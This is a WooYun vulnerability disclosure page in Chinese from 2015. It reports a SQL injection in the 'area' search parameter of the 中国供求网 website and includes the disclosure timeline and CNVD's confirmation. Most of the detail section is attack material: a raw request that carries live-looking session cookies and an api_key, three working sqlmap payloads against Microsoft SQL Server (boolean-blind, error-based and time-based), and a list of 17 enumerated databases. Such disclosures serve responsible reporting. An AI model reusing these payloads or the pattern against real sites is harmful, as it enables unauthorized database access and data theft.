当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145896

漏洞标题:中国供求网主站SQL注入

相关厂商:供求网

漏洞作者: xunnun

提交时间:2015-10-11 23:23

修复时间:2015-11-30 14:36

公开时间:2015-11-30 14:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-11: 细节已通知厂商并且等待厂商处理中
2015-10-16: 厂商已经确认,细节仅向厂商公开
2015-10-26: 细节向核心白帽子及相关领域专家公开
2015-11-05: 细节向普通白帽子公开
2015-11-15: 细节向实习白帽子公开
2015-11-30: 细节向公众公开

简要描述:

rt

详细说明:

GET /search/searchagent.aspx?area=*&kw= HTTP/1.1
Cookie: ASP.NET_SessionId=ayc1whqzgc3ocx2qwhnzce45; CNZZDATA457984=cnzz_eid%3D687057647-1444433907-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1444433907; Hm_lvt_c0ef241bb5b2517a961373e195e318e3=1444438597,1444438628,1444438640,1444438904; Hm_lpvt_c0ef241bb5b2517a961373e195e318e3=1444438904; HMACCOUNT=7EFD871408E337C1; codesession=Csrrw4k19dM=; api_key=83fc492dee52311ce722e9dad19ff084d435e5279ab8d27dbcc74cc672c3707149bd291768adc85c; m=m
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


area参数存在注入可获得数据库信息

sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/search/searchagent.aspx?area=' AND 4775=4775 AND 'lRSN'='lRSN&kw=
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: http://**.**.**.**:80/search/searchagent.aspx?area=' AND 3742=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (3742=3742) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(106)+CHAR(120)+CHAR(113))) AND 'FPzb'='FPzb&kw=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: http://**.**.**.**:80/search/searchagent.aspx?area=' AND 8538=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'rKml'='rKml&kw=


其中第8个第9个就是该站数据库

---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [17]:
[*] CunCunLe_Read
[*] dianke
[*] GongQiuForum
[*] gqdata
[*] master
[*] model
[*] msdb
[*] NewGongQiuAccountDB
[*] NewGongQiuWebDB
[*] ReportServer
[*] ReportServerTempDB
[*] ShenNongAccountDB
[*] ShenNongForum
[*] ShenNongWebDB
[*] temp_MS_AgentSigningCertificate_database
[*] tempdb
[*] wjdata

漏洞证明:

修复方案:

版权声明:转载请注明来源 xunnun@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-10-16 14:35

厂商回复:


CNVD确认并复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无